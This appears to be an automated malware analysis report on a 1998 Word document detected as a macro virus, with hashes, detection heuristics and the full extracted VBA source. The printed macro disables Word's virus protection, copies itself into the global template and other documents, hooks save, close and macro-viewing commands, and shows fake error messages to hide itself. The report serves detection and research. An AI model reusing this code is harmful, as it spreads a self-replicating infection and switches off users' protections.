Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c22ba4339c3cbce6…

MALICIOUS

Office (OLE)

47.5 KB Created: 1998-01-22 23:54:00 Authoring application: Microsoft Word 8.0 First seen: 2015-10-06
MD5: b6d10d015b814e1a21c960a8ac50e4d0 SHA-1: b6b7d20fb2b7701f9ffc53fea7dbcb9ceb7b72e5 SHA-256: c22ba4339c3cbce6d309aa43be77cf974d61d24dc49155d1fa9d8b194df2f4d1
240 Risk Score

Heuristics 4

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        .VirusProtection = False
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2619 bytes
SHA-256: e9a98199e24baf8b5f4696d47fb366c8d3e0c7ac4ebf9ae8f21ea8583811c372
Detection
ClamAV: Doc.Trojan.Kla-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Kim"
    
Public Skip As Integer
Sub Kim()
On Error Resume Next

    'Macro Made From The VicodinES Macro.Poppy Construction Kit

Randomize
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
c = Int(Rnd * 100)
If c = 3 Then Call n
i = 0
Set j = MacroContainer
If j = NormalTemplate Then i = 1
If i = 1 Then k = NormalTemplate.FullName Else k = ActiveDocument.FullName
If i = 1 Then l = ActiveDocument.FullName Else l = NormalTemplate.FullName
Application.OrganizerCopy Source:=k, Destination:=l, Name:="Kim", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=k, Destination:=l, Name:="KLAFrm", Object:=wdOrganizerObjectProjectItems
If i = 1 And Skip <> 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
If i = 0 Then
     If NormalTemplate.Saved = False Then NormalTemplate.Save
     End If
fuckoff:
End Sub
Sub FileNew()
    On Error Resume Next
    Call Kim
Dialogs(wdDialogFileNew).Show
    Skip = 1
    Call Kim
End Sub
Sub FileSave()
    On Error Resume Next
    Call Kim
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call Kim
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub FileSaveAs()
    On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
    Call Kim
End Sub
Sub FilePrint()
    On Error Resume Next
Dialogs(wdDialogFilePrint).Show
    Call Kim
End Sub
Sub FileExit()
    On Error Resume Next
    Call Kim
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Call Kim
MsgBox "Word Basic Err =7"
End Sub
Sub FileTemplates()
    On Error Resume Next
    Call Kim
MsgBox "Word Basic Err =7"
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Call Kim
MsgBox "Word Basic Err =7"
End Sub
Sub n()
    On Error Resume Next
    KLAFrm.Show
End Sub

Attribute VB_Name = "KLAFrm"
Attribute VB_Base = "0{5966BD1B-935A-11D1-9F3B-44455354616F}{5966BD17-935A-11D1-9F3B-44455354616F}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Open this report in the interactive analyzer, or submit your own file for analysis.